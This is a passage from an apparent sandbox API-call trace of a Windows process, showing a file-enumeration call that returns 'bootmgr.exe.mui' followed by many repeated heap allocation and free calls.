lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0119.669] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0119.669] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.670] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.670] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.670] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.670] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.670] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.670] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.670] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.670] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.670] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.670] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.670] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.670] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.670] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.670] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.670] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.670] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.670] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.670] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.670] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.670] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.670] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.670] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.670] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.670] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.670] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.670] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.670] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.670] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.670] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.670] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.670] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.670] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.671] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.671] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.671] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.671] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.671] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.671] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.671] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.671] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.671] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.671] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.671] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.671] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.671] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.671] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.671] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.671] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.671] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.671] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.671] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.671] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.671] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.671] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.671] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.671] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.671] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.671] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.671] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.671] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.671] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.671] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.671] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.671] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.671] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.672] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.672] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.672] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.672] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.672] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.672] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.672] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.672] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.672] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.672] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.672] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.672] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.672] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.672] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.672] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.672] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.672] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.672] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.672] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.672] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.672] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.672] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.672] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.672] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.672] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.672] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.672] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.672] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.672] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.672] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.672] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.672] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.672] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.672] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.673] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.673] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.673] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.673] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.673] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.673] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.673] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.673] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.673] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.673] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.673] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.673] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.673] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.673] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.673] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.673] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.673] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.673] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.673] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.673] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.673] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.673] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.673] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.673] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.673] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.673] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.673] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.673] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.673] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.673] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.673] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.673] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.673] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.673] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.674] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.674] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.674] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.674] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.674] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.674] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.674] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.674] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.674] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.674] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.674] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.674] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.674] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.674] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.674] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.674] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.674] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.674] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.674] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.674] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.674] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.674] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.674] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.674] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.674] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.674] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.674] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.674] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.674] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.674] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.674] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.674] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.675] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.675] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.675] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.675] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.675] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.675] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.675] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.675] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.675] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.675] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.675] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.675] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.675] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.675] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.675] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.675] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.675] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.675] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.675] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.675] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.675] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.675] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.675] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.675] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.675] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.675] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.675] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.675] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.675] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.675] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.675] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.675] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.675] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.676] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.676] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.676] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.676] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.676] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.676] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.676] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.676] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.676] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.676] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.676] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.676] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.676] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.676] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.676] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.676] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.676] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.676] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.676] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.676] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.676] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.676] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.676] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.676] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.676] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.676] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.676] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.676] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.676] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.676] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.676] HeapFree (in: hHeap=0x5e0000, 